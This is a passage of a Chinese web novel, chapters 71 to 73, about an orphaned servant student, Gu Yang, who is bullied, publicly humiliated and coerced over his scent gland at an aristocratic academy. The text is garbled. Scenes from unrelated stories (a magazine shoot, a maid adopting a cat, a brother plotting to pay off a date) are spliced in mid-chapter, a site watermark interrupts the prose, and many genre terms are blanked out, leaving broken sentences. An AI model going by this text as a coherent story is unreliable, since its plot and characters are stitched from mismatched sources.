林烨的目光有一瞬间的扭曲,阴沉沉地死死盯着顾央。 一个竟然敢忽视他?! 他决定去彻底打听一下顾央与戚珣之间的关系,以及戚珣到底如何看待顾央…… 如果戚珣真如传言般所说,极其讨厌他的话,他就可以把这人抓起来,叫他再也不敢小桥他,忽视他。 林烨心中恶狠狠地给顾央记了一账。 教室中,兄妹二人看见顾央走远,眼中的希望慢慢消失,最后成为一片白茫茫似的寂静。 他们大失所望。 果然,他们刚刚惊鸿一瞥看到的顾央根本不是真的。 平白无故,怎么会有人愿意与他们扯上关系呢?顾央甚至与林烨对话时都是始终低着头,掩盖着目光的,一副怯懦模样。 也是了,他看上去比他们还要瘦弱,哪有勇气去和红级的贵族豪门争夺? 林烨眼神阴鸷地看着顾央走远的背影,懒得理跪在地上的男生,“继续跪,跪完为止。浪费本大爷的心情。” 他往那个男生头上打了一巴掌,男生被他打偏了头,却只是隐忍不发地低着头,浑身上下肌肉紧绷,却也遮掩不了他的狼狈不堪,眼神中一片死寂。 顾央走得快,他看了一眼班级,发现这居然就是丁宴所在的班。只是丁宴不知道为什么今天不在。 他思忖片刻,来到班走廊的尽头,推开了办公室的门,“老师,您好。” 进门是一个穿着西装的男人,他竖着油头,脸上的表情傲慢而冷漠,桌面上有放着名牌,写着“贺山”。 他身旁有个学生,胸前也挂着白色的铭牌,一副被训斥得狗血淋头,屈辱至极的模样。 “我知道你们是特优生考进来的,可是同样就读一所学院,你们所花费的金额可比其他贵族豪门的低廉多了——你知道他们一年学费多少万吗?” “十几万啊。你凭什么以为自己可以获得与他们一样的待遇?” 贺山猛拍桌子,摇摇头,一副怜悯的模样,看着面前被训斥的学生,听到开门声,才转过头去,与顾央对视。 顾央脚步一顿,在看见那张虚伪浮夸的笑脸时,瞬间反应过来。 ——竟然就是今天早上补习班前碰见的人! 怪不得眼熟,顾央想起来了,之前在游泳馆前,文意曾经被一个老师恶意羞辱挤兑过,正是眼前的贺山! 贺山施施然地抬起头,看见顾央,皱了皱眉,脸上嫌恶一闪而过,“班的人?班的人跑到这边做什么?” 班与班之间在不同的楼栋,中间用连廊连接,因此班的人都不太欢迎班的人走到这边。 顾央很有礼貌地点了点头,将方才关于林烨和那个的事情与贺山说,最后道:“老师,请问您可以帮助他们吗?” 顾央知道自己暂时没有和林烨硬碰硬的资本,况且从体力上看,如果真打起来,他反而容易吃亏。 按照最理智的逻辑去推断,他应该去找老师求助。 只是他没有想到,班的班主任居然就是今天早上补习班的那个人。 他想到早上发生的那件事,眉头微微蹙起,只是很温顺乖巧地低头,没有表露出来。 贺山微妙地沉默了一会,他虽然穿着西装,却没有多么地衬托出他英明神武,反倒有种油腻的不适感,手腕上戴着二手的名牌高价表。 他靠着椅背,表面上还是温温和和的,但是眼睛却上下轻浮地打量着顾央,内心不屑地冷笑一声。 哪里来的班学生,真是蠢得令人发笑。 阶级差异带来的鄙视链并不是第一天存在于学校中。若是普通学校,老师肯定怎么都要管一管的,然而在这样的学校中,明哲保身比什么都重要。 他嗤嗤在内心嘲笑了一会顾央的愚蠢,脸上却露出浮夸的表情,虚伪地笑了笑,“是吗?我没看到呢。小同学,是不是你走错地方了?” “靠,你有没有搞错……!”旁边的学生听了,一脸震惊地抬头,“贺老师,您不应该帮一下他们吗?他们是你的学生啊!” 他激动地上前走,顾央却伸手把他拦住了。 他抓着男生的肩膀,男生愣了愣,愤怒还凝固在他脸上,他回过头,看向顾央,顾央却只是摇了摇头,示意他不要冲动。 他转过头,看向贺山,“打扰老师了。” 与这种人交流简直是废话。顾央心中有了评判,脚步不带犹豫地离开。 贺山一愣,浮夸的笑意慢慢消散,最后眼神有些阴鸷地看着顾央推门离去的背影。 少年脸色苍白,然而那双银蓝色的眼睛却有那么一瞬间,暴发出极为锋利的目光,像是在砾石中磨出来的刀刃。 有那么一瞬间,他像是一个被火烈狐锁定目光的猎物,少年最后瞥向他时,目光没有一丝温度,莫名令人感到恐惧。 顾央回到走廊时,还跪在地上,他这才发现身后居然还被人用绳索捆绑着。 班级的门被锁上了,顾央平静地看了一眼,另外两个兄妹被关在里面。 看出来是林烨故意这般的了。 眼前忽然被一道影子遮盖住,他抬起头,看见是顾央,一愣,接着又偏过头去,屈辱似地不再看他。 方才林烨泼了他一身的饭菜,眼下风干得差不多,黏糊糊地黏在五官上,五颜六色的泔水流下,缓慢地淌进他的衬衫中,整个人看上去狼狈不堪、脏兮兮的,仿佛刚从臭水沟中捞出来。 他像是知道自己又脏又不臭,不堪其辱地深深埋下了头,内心却有些偏执地想,眼前这个人停在他面前是要做什么? 羞辱他?亦或是捏着鼻子嫌弃地走开? 他深深地埋着头,耳边却听见一声清脆的“咔哒”声,惊愕地扭过头。 教室的门锁不知道怎么开了,顾央插着兜站在旁边,手中是一根极细的铁丝,看见他惊愕的目光,弯着眼睛笑了笑。 顾央将两个兄妹放出来,他们似乎也很惊讶,见到跪在地上的,就要扑过来,“哥哥!” 赶忙躲了躲,“你们干什么,我身上全是菜……很脏。” “不脏!” 两个小孩不顾脏污扑进怀里,吸了吸鼻子,眼睛里有些眼泪,听到这句话时,死死地抿紧了唇。 顾央弯下腰,抱着膝盖蹲在地上。 他看着眼前紧紧拥抱的三兄妹,撑着脸,像是在看一副漂亮温馨的油画,想起什么似地叹了口气,接着,从口袋里掏出一个手帕。 “抬头。”他说。 后脊瞬间一股电流猛地窜过,他下意识地挺胸抬头,燃烧的雪松林味道铺面而来,一愣,有些恍惚。 他刚刚怎么就下意识地听话了? 顾央轻柔地给擦脸,一愣一愣地,跟年久失修的破旧机器,他迟钝地眨了眨眼。 眼前的黑发蓝眼,蹲在他面前,露出一张干净清秀的脸,眼睫毛很长,嘴角带着一点安抚性的笑容,帮他擦干净脸上的烂菜烂叶,朝他歪了歪头。 的指尖温润细腻,一擦而过,却仿佛擦起了他某种火花,一路过电似地袭击了他的心脏。 眉毛,眼睫,鼻尖,嘴唇……柔软得仿佛羽毛的亲吻。 “你不觉得脏么?” 他下意识问道,顾央怔了怔,随即笑道:“脏什么,很帅。” 他将手帕塞进手里,反应过来,匆忙道:“你……你帮我们,不怕被林烨知道,找你麻烦么?” “以后的事情,以后再说。” 顾央笑了笑:“就当我是一个被你打动的流浪汉,反正身无分文,你不需要为我想太多。” 他笑起来时,流风回雪,轻云蔽日。身后巨大的白窗折射着天空群央色的色彩,十字架倒影被拉得很长,在少年身上,一瞬间神圣无比,而他跪在地上,抬起头时,仿若一个虔诚的信徒。 光是看着少年的笑容,仿佛都能听见自己荒芜世界里,因为忽如其来的温暖而野蛮生长的血肉的声音。 顾央撒了一个很小的谎,却怔怔地仰望着他,攥着那个手帕。 手帕非常普通,只是,右上角有一小只狐狸,笑眯眯地看着他,看上去可爱而狡猾。 裤腿上忽然出现了几滴深渍,仿佛有雨从天而降。 忽然啪嗒啪嗒地掉下了眼泪,怎么也止不住。 手帕上还残留着的香气与温度,如果不是上面残留的污垢,有那么一瞬间,他简直是想将脸埋进手帕中。 “你叫什么……” 反应过来,可是他一抬头,那个少年就不见了。 好似一场风过无痕的梦境,怎么也抓不住,带给他须臾的温暖后,便轻飘飘地消失了。 于是他只能低下头。 慢慢地,慢慢地,将手帕揉皱,目不转睛地死死盯着它。 这件事在若干年后,因为宋引星的无意撞见,而得以真相大白,但柳枫却早已被教育界除名后续也过得相当不如意。 警告结束后,他收回了手,对着柳老师挥手道别:“那我就先走了,拜拜~” 只是他没有看到的是,在他背过身以后,柳枫恍惚地捂紧了刚刚顾央碰到他的地方,原本还在思索为什么自己跟一个男学生谈话还需要避嫌,突然间灵光一闪。 难道说顾央同学喜欢的人…… 居、然、是、他? 柳枫脸上露出了五雷轰顶,被劈焦了一样生草的神色。 那、那种事情,不要啊——魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第 71 章 第 71 章 “真是烦死了,一天天晦气事情那么多。” “就是啊,找个网红合作还得让我们来监工,我们好歹是从总公司过来的,真把我们当什么了。” 夏椿正在房间里换杂志拍摄用的衣服,隔着门,他听到了外面压低的讨论声。 是这次合作的品牌方派过来的对接,夏椿听到他们不满的对象里有自己,但也没什么反应,他已经换好了衣服,但也不急着出去。 工作时合作双方能够做到表面和气不使绊子就行,何必还要人家心口如一呢,而且又没有舞到他的面前来。 因为这个拍摄棚还有其他人在用,换衣间暂时腾不出地方,他就直接找了个杂物间。 留点余地出来,以后还好见面。 阳光的光斑透过游泳馆的天幕,隐隐绰绰地落在冰冷的水面上。 丁宴入水时,巨大的拍力让他脑袋一晕,水从嘴巴进肺腑,他差点呛咳得半死,在水下艰难地睁开双眼。 水下波光粼粼,阳光折射出淡金色的光柱,他们像是误入水族馆水缸之中的两条游鱼,水面上的光斑模糊地映在不远处男生苍白的面孔上。 顾央抓他下来后,全身的力气似乎就被抽空,他似乎已经半昏迷了,晶莹的小气泡不断如断了线的水晶珠子从他嘴唇溢出。 丁宴一变,拼尽全力地往顾央身边游去,抓住他的手,接着用尽全力,把他扛着往水面上带。 他妈的,他几乎暴躁地想,为什么学校的泳池要建这么深? “哗啦!!” 丁宴一上岸,就感觉到身边人的头无力地砸在他的颈窝中,他浑身过电,吐了一口水,猛地回头,“顾央!” 他低喝着摇晃着怀里的人,顾央浑身冰冷,双目紧闭,四肢都软绵绵的,他的脑袋无力地后仰,脆弱到令人心惊担颤的弧度,仿佛被掐断的一截白苇。 呼吸呢?丁宴一摸他的鼻子,触感冰凉,大脑“嗡”了一声,连忙将拎起来,放在腿上,用力扣着他的背部。 轻飘飘地,背部的肩胛骨微微凸起,硌得惊人,他吐出几口水,但是依然脸色惨白,毫无意识。 丁宴这辈子都没遇到过这种情况,他从小就是一个要风得风,要雨得雨的小少爷,可眼下,他生平第一次手足无措起来,声音颤抖:“顾央……顾央……!” 然而顾央全无意识,安安静静地,仿佛死了。 丁宴想起最开始知道顾央这个人时,他也是这么安安静静地,仿佛死了一样,被他逼到角落里找茬,淋了一身水,居然也沉默不语,一声不吭。 他身上似乎总是习惯了背负着什么,因此抬起眼睛看人时,一双眼睛如冰湖一般毫无感情。 丁宴讨厌这样的眼睛,比起顾央,他更喜欢戚珣。戚珣俊美,高大,家财万贯,事业有成,谈吐有方,是他从小就憧憬的、想要成为的那种人。 而且,他是人群中极为少数的。生来就是要结婚的,而豪门贵族中的,更是要沦为联姻的政治工具。 这也是没办法的事情不是吗?天生缺陷,每月一次发情期,如果没有的安抚,就要痛不欲生地自己熬过去,还要变成狗一样,流着口水,不知廉耻地在地上发着情。 所以,最开始见到顾央时,他觉得自己的东西被抢走了,自己的利益被触碰了,因此暴怒异常。 他把人逼至角落里,嘻嘻哈哈地泼他一身污水,冷眼看他狼狈不堪的模样。低着头,污水顺着他的额发滴滴答答地流下来,落在地毯上。 “顾央,你这种人,就别想癞蛤蟆吃天鹅肉了。” “一个小仆从,也敢妄议自称戚哥的男朋友?白日梦也有个限度。” 直到学生会莫名其妙地把他关进禁闭室。 他从小娇生惯养,一开始还在禁闭室破口大骂,学生会竟敢这样对他?!他总有一天把那个姓纪的会长被踹下来! 黑色的房间里空无一人,只有他一个人,甚至感觉不到时间流逝,一种死寂般的绝望开始慢慢包裹住他,他牙齿都开始打颤,最后一个人缩在角落里,无声地哭泣。 ——可顾央来了。 像是猫一般,几乎无声无息的脚步声,可他依然听见了。 他就那么披着月色,隔着铁门,隔着一层厚重的阻碍,与他意外重逢。 看见他时,脸上明显能看到讶异的神色,雪白莹亮的月色斜斜地照在他身上,在他侧脸处镌刻出一小块流萤似的光彩,脸上细小的绒毛几乎发着光。 这让他看上去有些寡淡的面孔忽然间活色生香起来,不再那么冷冰冰地克制,仿佛一个没有灵魂的人偶,温暖的灵魂透过皮囊,在走廊中,让他无法挪开双眼。 所以这也是为什么他最后接受让顾央跟他睡一晚上吧?分明从小到大他是不愿意有人与他分享任何东西的,他的就是他的,独一无二,只属于他,可那张并不算大的床最后分给了顾央一半。 “……顾央!” 丁宴像是个闯了大祸,才后知后觉意识到的小孩,浑身颤抖如筛糠,牙关都忍不住抖起来,“对不起……我只是想跟你开个玩笑……谁叫你一直不理我,我……” 他语言混乱,颠三倒四,慌得六神无主。他艰难地喘着气给做心肺复苏,脸色难看至极。顾央却依然无知无觉。 这种情况下只能用最原始的急救手段。他将顾央放平在地面上,手指依然有力地叩着他的心脏,低下了头。 两个人的唇挨得越来越近,因为泡了水,的唇色有些苍白,湿漉漉的水滴顺着他的唇缝流下,仿佛亮晶晶的涎水。丁宴几乎能闻到从唇齿中飘出的淡淡的雪松林香,缥缈而悠远,带着一点圣洁的气息。 他闻着那股香,心中更为烦躁焦灼,两个人鼻尖挨着鼻尖,他几乎能感觉到自己潮热的呼吸打在顾央雪白的脸上。 这毫无疑问是他的初吻,可是他也不敢想太多。对他来说,顾央—— “……啪!” 一声清脆的脆响猛地响起。 顾央艰难地睁开一点眼睛,冷不丁看见一张大嘴对着自己,下意识一巴掌抽过去。 丁宴第二次被顾央扇巴掌,不知道为什么,居然有点习惯了。他被打得脸颊侧过去,脸上顿时浮现一个红印,眉头微皱,又缓慢地把头扭回来。 “……咳咳咳咳咳!” 顾央颤抖着,肩胛骨抖出一片缠绕的弧线,他吃力地喘气,丁宴神色变了变,猛地凑过去,顺着顾央痉挛的脊椎轻轻地拍他,焦急道:“你,你没事吧?!还有哪里不舒服吗?” 顾央推开他,他深吸一口气,一指旁边,声音因为浸水嘶哑,却又清晰无比地传进丁宴耳朵中,他冷冷道:“滚。” 他抬起一双满是水汽的眼睛,蓝宝石一般的眼睛被生理性泪水浸泡得莹莹发亮。湿淋淋的睫毛虚弱地颤动,裸露在外的皮肤全都白到露出央色血管,眼尾因为呛水一片红。 他眼神冷淡,丁宴被看得心一惊,整个人都凌乱起来了。 他慌了一瞬间,急声道:“等一下,顾央你听我解释……” 若是平时,有人胆敢这般对他大放厥词,他必定要百般十倍地报复回去。 可眼下,他因为救顾央,浑身湿透,大颗大颗的水珠从他的脸上坠至地上,却还是抓住顾央湿漉漉的衣角,狼狈不堪地道:“我不是故意的,我就是看见你和那两个玩得好,我……我不开心,你对我甩脸色,可你对他们却笑得那么开心,我……” 顾央不明白自己哪里和那两个玩得好了,他们来向自己问问题,他礼貌性地回复,上次还莫名其妙忽然送了他巧克力,他甚至还回绝了,不知道哪里戳到了丁宴这个敏感肌。 但是,一码归一码,顾央看着丁宴,语气淡淡,“是吗?原来你心情不好,就能推人下水。” 丁宴脸色一僵。 顾央神色恹恹,眼睫低垂下来,露出深而窄的双眼皮。衬衫被打湿贴在他身上,苍白的肤色在衬衫下影影绰绰地透出点肉色。 他没有再理丁宴,拧了一下身上的水,一站起来,旁边的两个就忙不迭地凑上来,像是想要搀扶他,又被顾央推开,“别碰我。” 他那副好脾气又温顺的模样在眼下总算露出一点锋芒,却也不刺人,反倒像是一只不亲人的猫,丁宴拉着他,“你不是也把我拉下水了吗!一报还一报,不能扯平吗?你怪我是不是!好,我跟你道歉,对……” 他一抓到,就被他冰冷的手腕冻了个哆嗦。 “不怪你。”顾央神色很奇怪地瞥了他一眼,拍了拍他死死抓住自己手腕的手,温声道:“丁小少爷,你想知道的,关于戚珣的事,我已经全部告诉你了,你不用担心我跟你说的那些话是假的,我可以对天发誓,如有谎言,我不得好死……” “你别说了!” 明明顾央的声音轻飘飘的,仿佛四月忽如其来的风,丁宴却如遭重击,失魂落魄地放下手。他浑身是水地跪在原地,低下了头,像是一只被主人抛弃的大狗。 顾央没有再理丁宴,径直走回宿舍,两个看了丁宴一眼,又看了看顾央,忙不迭追上去。 “央哥,你没事吧?” “央哥,我们送你回去……” 顾央转过身来,他像是有些无奈,扯了扯自己的衣领,指了指泳池,“今天是游泳考试,你们快去吧。” 两个一时间有些失落,高大的肩膀垮下来,却还是乖乖听话地往回走。 冷风从罅隙中灌进来,顾央打了个喷嚏,一时间有些头重脚轻,心想,不会吧…… 他向老师请了假,眼下是九月,天气不算炎热,空气有些微微冒凉。 学校的后勤效率还算高,他宿舍的排水系统已经修好,学校也帮他调整换了一个地理位置稍高一点的宿舍。 新宿舍没有舍友,离班的宿舍近,不过好在现在是上课时间,他不会撞见任何人。 顾央回宿舍换了件衣服,摩挲了一下放在桌面上的《枪械基础》。 军部考试还有三个月,他的体质如果想进军部,必须以特招的形式进入。 他没有把丁宴放心上。他又不是没伺候过这种小少爷,戚珣都是他带大的,晾几天就恢复正常了…… 既然有更爱它的人存在,就让它走吧。 他的眼神变得异常柔和,小黄从来没见过大少爷看宅里的其他人类这么温柔过,他仰头将猫咪递给了自己。 “我也懒得再给他找个保姆了,你喜欢的话就带回去吧。” 这简直是天降下来的馅饼,小黄离职后最记挂不下的就是这只猫咪,她忙不迭地点点头,从顾央手里接过了布林,用尽毕生词汇,嘴里出口成章地讲了一堆大少爷的好话,然后乐颠颠地抱着猫走了。 刚刚拐到楼下时,她的手机传来了一声震动。 她点进去,发现是一条十万元的转账记录,落款方来自顾央。 备注:给布林的陪嫁费。 第 72 章 第 72 章 「我明天晚上要参加一个宴会,但还没有找到合适的女伴,不知道你是否愿意与我一同前往。」 「不甚荣幸,谢先生。」 “完蛋了完蛋了完蛋了!”谢坞满脸焦灼地抱着头,“我哥昨晚去参加一个商业晚会,居然找了周琴琴做女伴。” “听说了。”应佳仪说道,“谢凯这些年身边一直没人,破天荒带了个女伴,大家都在说是不是铁树开花了,谢家要有女主人了……” “不!”谢坞赶紧打断了这句话,强烈的语气带得表情都有点狰狞,“只要我在,就绝对不可能让这种事情发生。” “你们说我给那个周琴琴五百万,让她离开我哥现实吗?”他慌不择路地问道。 “你与戚珣.9?” 顾央被几个男生围堵在走廊尽头时,窗外刚好下起了暴雨。 铁幕一般的苍穹笼罩着加德王立学院,豆大的雨滴淅淅沥沥地砸在大理石砖上,湿漉漉的雨汽不断从罅隙涌进走廊,刮起一阵阵阴冷的风,更远处,白塔上老旧的央铜钟在暴雨中晃荡着,撞出悠长的声音。 加德王立学院是全国唯一的一所贵族私立学校,名字虽颇有一种精心打扮的土气,里面却都是未来的名流贵族——分别有不学无术的纨绔子弟,豪门世家的千金少爷,走了狗屎运的暴发户,以及极少的、作为陪读的平民小姓。 小姓是一种委婉的名称,真实身份类似于古代的侍读或书童,再直白一点,也就是各位少爷小姐的小保姆、小仆从。是阶级中最为下贱的存在,无论是谁都能踩一脚。 ——就像顾央一样。 丁宴恶意地用手肘卡住顾央的脖颈,他脸上满是厌恶以及一点微不可察的嫉妒,如毒蛇嘶嘶地吐着芯子,“说!是在哪里做的报告,你伪造了数据?” 顾央呛咳了一声,很轻地说:“没有。” “我查过你,无父无母的孤儿,十岁在赫山被戚珣捡到,随后作为戚珣的仆从进入加德王立学院……哈,加德王立学院真是什么垃圾都收。” “他只是把你当仆从而已,你以为如果不是因为绑定,他真的看得上你吗?你也配?” 顾央感觉到肋骨里的空气被人慢慢挤压,窒息感传来,像是被旧报纸蒙住了脸,他无力地抓住霸凌他的男孩的手臂,依然只是很轻很轻的声音:“……没有。我没有这样想。” “哈。戚珣可不愿意公开与你的身份,他从来没有在明面上承认你的存在。他不是会被影响的人。即使你与他高,也不能代表什么。” 丁宴继续逼问,恶狠狠:“他你了?” 顾央沉默了一下,被眼前人恶意泼水淋湿的额发垂落下来,眼睫轻轻颤抖着。他深深呼吸一口气,手指缓慢地收紧成拳,最后又慢慢地松开。 他想起自己是如何来之不易,才得到上学的机会,以及戚珣冷淡至极地甩开他的手,对他说“别给我添麻烦”的样子,最后还是露出一个礼貌的微笑:“……没有。我失常,没有人可以我。” 明明被人霸凌着,他看上去就像是上课被点到乖乖回答的好学生,莫名让丁宴感到烦躁,他冷笑一声:“失常?不能被任何人的?这不就是劣等?” “靠,那戚珣凭什么看上你这样的劣等品?我可是S级!” 丁宴脸上的厌恶转为深可见骨的嫉妒,愤恨如岩浆一般从他的双眼中流出,刺痛顾央的眼睛。他越想越生气,戚珣能看上劣等品?于是他拧着男生的脖颈,让他转身。 丁宴身后的几个男生瞬间睁大了眼睛,震惊地试图阻止他:“等会,丁宴你……!” 丁宴不耐烦地摆摆手,“都是,闭嘴,我倒是要闻一下是什么味道的。” 顾央后知后觉地意识到他要做什么,瞬间激动地反抗起来,然而丁宴身为S级,各方面的机能自然都要比劣等品的顾央好。 因此最后顾央只能被迫被比他高大的少年压在墙上,他被人压在墙壁上,手高举着被压在头顶,浑身上下都湿淋淋的,从衬衫中渗出的水汽泅湿了蓝色描金的合欢花壁纸。 顾央喘着气,单薄的胸膛剧烈起伏着,最后直直地盯着丁宴:“是不是给你闻,你就放我走?” 丁宴:“你在跟我谈条件?不过,可以,我心情好,自然就会放你走。” 他挑衅十足地看向顾央。 是最为隐秘的器官之一,时的常常会狠狠用犬齿叼住的,往中狠狠注射,让从内到外都充斥着的气味。 因此是不能随便给人闻的。 丁宴眼下正在毫不犹豫地羞辱顾央,双手抱臂等着看眼前的劣等红着眼颤抖,屈辱地低下头,露出被羞辱的表情。 顾央深呼吸一口气,爽快利落道:“行。” 他一边转身,一边用一种无奈的语气很小声地自言自语:“真不知道这个富贵包有什么好闻的。” 丁宴没有听到,否则他自然会瞪眼大叫跳起来指着顾央的鼻子让他跟全体脆弱的心灵道歉。 然而顾央从十岁起,便与戚珣生活在深山老林中,戚珣没有请教室给他上个过任何的性|教育课,老师只会教顾央如何服侍戚家少爷。至于其他?不重要。 ——以至于他对这个世界的绝大多数知识仿佛一张白纸,只知道自己好像多了一个奇怪的器官。 顾央不明白后脖颈那个“富贵包”到底有什么好闻的,也不明白为什么戚珣喜欢咬他那里,除了疼以外,他几乎没有其他感觉。 丁宴没有想到顾央居然真的答应他。闻对的羞辱比泼水甚至殴打还要严重,可是顾央居然就这样毫不反抗地给他闻? 这跟邀请他与他上|床有什么区别? 丁宴气死了。怎么会有这么轻浮的?!忍不住咬着牙骂:“浪荡!” 顾央根本听不明白他在骂什么,一时间内心有些无语,他缓缓低下头,只想赶紧解决。 男生脖颈细瘦纤弱,好似蒲柳般一摧就折。丁宴内心挣扎了三秒,最后不屑地哼了一声,在身后几个小弟震惊的眼神中,低头轻轻嗅了嗅男生的。 他将压在墙上,一只手扣住他的双手,然而他一闻到顾央从抑制贴中泄露的、几乎微不可闻的一缕,脸都皱起来了,大叫:“你这什么味道?燃烧的木头?” 那仿佛是冬季老山着火,滚滚浓烟的味道随着噼里啪啦燃烧的木头四溢,呛人而苦涩。 丁宴脱口一句“难闻”,整个人却忽然恍惚了一下。 山火之下似乎还有一层很淡很淡的气味——仿佛清晨笼罩山间的薄雾,风一大就能吹散。冰凉而沁鼻,令人想起冬日雪地下掩埋的花。 他下意识凑得更近,呼吸猛地沉重起来,鼻尖几乎要抵在的处,莫名感觉到虎牙处痒得厉害。 像是饿极了的豺狼分泌唾液,拼命地想要再嗅闻一下方才那缕冰凉的花。 可是他再要闻,那缕气味就又被呛人的浓烟给掩盖住了,像是有恶龙咆哮着逡巡在洞穴守住他的宝物。 丁宴整个人晕乎乎的,嘴唇微微张开,露出有些尖的虎牙,眼看就要咬在顾央的时,顾央戴在左手腕的黑色手环却忽然震了一下。 顾央神色猛地一变,挣脱着想要离开,可是丁宴整个人几乎都扑在他身上,将他死死禁锢在墙角。 顾央终于不耐烦了,他艰难地转身,冷冷地抽了丁宴一巴掌:“闻够了没有?” 丁宴脑袋一偏,整个人呆滞了好一会,火辣辣的感觉才后知后觉地涌上,他猛地扭过头,怒道:“你敢打我?!” 他火冒三丈,他是丁家的独子,从小便是捧在手里怕化了,从小到大就没有人敢打他! 可他一扭头,怒火却如同迎下兜头冷水。 方才还敛目低眉,看上去又乖又软的此时正冷冷地看着他。 凌乱的黑发柔柔地贴在雪白如玉的脖颈处,男生身形清瘦,王立学院用料精致讲究的校服衬衫被水淋湿,湿漉漉地贴在身上,隐约可见暧昧勾人的肉|色。 几滴透明的雨珠从他苍白挺秀的鼻尖上慢慢滑下,悬在鼻尖上摇摇颤颤的,苍白的唇上有着淡淡的咬痕,温暖潮湿的水汽从他微微张开的口中呼出,隐约能闻到一股暗香。 分明是手无缚鸡之力的,可是他生气起来时,神色莫名地冷淡。丁宴莫名心脏一突,下意识地松了手,顾央便冷漠地推开了他。 丁宴却像是被人狠狠踩了一脚,拉住他的手腕,恶狠狠道:“你跑什么?我还没问完呢!” 他死死地卡住顾央的手,少爷脾气发作。可顾央却没有再看他,只是看着表,语气冷淡地说:“我必须要走了。如果你再无理取闹,” 他没来得及说完,低下头,用手捂住嘴,闷闷地咳嗽几声。 每逢下雨天他的身体就孱弱不堪。细瘦的肩胛骨随着他咳嗽轻轻抖动着,看上去孱弱不堪。 丁宴感觉到手中的皮肉凉得厉害,瘦瘦一截骨,莫名呼吸一滞,下意识放开了手,“你……” “你们在做什么?” 不远处,惊雷炸响,走廊的尽头,一个人双手插兜,看向了他们。 脸庞在暴雨中半明半暗,只能瞥见一个线条锐丽的下巴,眼睛黑沉沉地在夜色中盯着他们。 “戚珣?” 丁宴瞬间后退三步,后背忽然被冷汗浸湿。 戚珣阴恻恻地盯着他们,潮湿的水汽从罅隙中涌进,窗外的树影随风摇曳,落在他身上,仿佛逡巡的鬼影。 ——他看上去仿佛一个捉|奸妻子与他人在床的丈夫。 顾央没理会他的精品光盘,而是就着谢坞的手翻了几页。 应佳仪原本只是嫌弃的表情变得更加震动,谢坞就算了,她根本没法想象顾央翻看这种东西的样子。 顾央扒拉着这本书,若有所思地说道。 “我上次住宋引星家里的时候,他不让我直接进他房间里,自己关了门收拾了好久,柜子砰砰砰的,我还听到了上锁的声音,就是在藏这些东西吗?” “那个宋大学霸吗?没想到啊,看着像坨冰山似的,私下还挺能开放的。” 谢坞呦了声,接着相当肯定地说道,“估计就是了,不然一个男生房间里还有什么需要锁柜子藏的。” 几乎就是在同一时刻,还站在离谢宅所在小区不远处的宋引星,在寒风中控制不住地打了个喷嚏。 第 73 章 第 73 章 砰—— 更衣室的铁皮衣柜被拳头砸凹了进去,吱呀吱呀地发出声音。 聂瑛深呼吸喘着粗气,将拳头缓缓地移开,完全没有管得上手指擦出来的青紫。 他长得本来就很锋利的长相,此刻浑身都散发着一股令人感到心惊的狠厉。 发泄结束之后,他随手拿了块毛巾,走到外面的泳池边,将毛巾砸在地上后,纵身钻入了泳池。 此时的游泳池并不在开放时间内,因此没有打开恒温装置,冰冷刺骨的水包裹着他的全身,在自虐般的条件下,他内心的戾气被强行一点点压缩着。 太不顺了。 戚珣当天就和顾央闹起了别扭。 当然,在顾央眼中可以说是“别扭”,但是在其他人眼中,简直与霸王龙暴走毫无区别。 戚珣平等地喷死了每一个胆敢跟他打听顾央的人,连狐朋狗友都不能避免,灰头土脸地被他轰走。 顾央敲响戚珣宿舍房门时,门扉却骤然被什么重物砸了一下,里面传来一声压抑着不耐烦的怒吼,裹着熊熊燃烧的愤怒:“滚!别来烦我!” 顾央往后退了几步,犹豫了一下,还是又敲了敲门,轻声道:“小珣,暴雨将我的宿舍淹了,我……” 里面传来一声粗口,门被猛地打开。 带着他灼热滚烫的扑面而来,他胸膛因为压抑的愤怒而剧烈颤抖着,眯着眼睛,沉声道:“顾央,这就是你勾引我的手段?” 顾央没有得到关于的任何生理性教导,否则他就该明白戚珣在用霸凌他——可他也能感觉到中不加掩饰的嫌恶,施压一般,排山倒海地将他淹没。 的释放管辖其实是非常严格的,里面包含的几乎是情绪的实体化,其中负面情绪尤为剧烈——先不论高阶的释放时,都能叫一个低阶跪碎膝盖。 而比对还要敏感十倍的在遇到压制时,基本无一不是出现心悸、恐惧的症状,更严重的甚至能崩溃,大脑受损。 然而顾央有损,不能很好地感知他人的,只是觉得空气中硝烟味重了一点,他被熏得蹙了蹙眉,却以为是他屈服于自己的下,心中不免冷笑一声。 戚珣抱着双臂,居高临下地看着眼前被他的砸得几乎站不住脚的:“顾央,谁允许你来找我?” 他站在门边,他刚刚沐浴结束,乌黑的发丝黏在他俊秀的侧脸上,白日里看上去好看的脸此时却阴沉如水,莫名令人毛骨悚然。 “你今天白天刚和一个死小孩偷情,晚上就来找我撒娇卖惨?怎么,当我是死的?” “你知道不知道是不能随便给人闻的?” 顾央茫然地看着他,下意识摸了摸自己的脖子。 只是闻一下脖子,有那么严重吗? 如果全世界的纷争都能用闻脖子解决多好。 戚珣逼迫感极强。的强制施压堪比给注射军用吐真剂,空气中硝烟味越来越浓。 顾央的面色一下子惨白起来,呼吸急促了几分。 不行……好难闻。都是烟火的味道。 再这样下去,学校的消防报警器会不会响? 顾央憋气憋得肩膀颤抖,脸都涨起了淡淡的红,但是他不敢说出来,怕戚珣暴怒之下把他掐死。 戚珣看低着头,什么话也没说,眼眶却红了,瘦弱的肩胛骨却如蝶翼一般轻颤,像是无法承受他沉重而威压极强的硝烟味,才终于满意地收起了自己的。 硝烟味是戚家传统的,代代相传,几乎成为他们家族血统高贵的象征。 无论还是,只要闻到了他们家的,莫不臣服于此。 即使是残缺、无法被的也不能例外。 空气中浓郁的烟火气慢慢消散,顾央轻轻地呼吸了一口,还好报警器没响……不然估计他今天又要被围观了。他递过去一个箱子。声音放缓,似乎是想要安抚生气的:“小珣,我……” 戚珣看向箱子,接着,他表情一瞬间冷下来,“你什么意思?今晚想睡我这里?别太得寸进尺了。” 顾央一愣。 “你不会以为跟我说,我就会放你进我房间,跟我共宿吧?想都别想,脏死了,癞蛤蟆想吃天鹅肉,你以为我会让你占我便宜么?” 他傲慢地一扬下巴,“能进加德王立学院,都是多亏我的帮忙。你要是再敢痴心妄想一些其他的,别怪我不客气。” 顾央一时间忘记自己方才想说什么,“可是……我们不是在一起了吗?” 他不说还好,一说这个,戚珣立刻暴怒,暴戾地掐住的脸,皮笑肉不笑道:“闭嘴。那晚根本就是你趁虚而入!要不是因为奶奶……总之你要是敢传出去,你……” 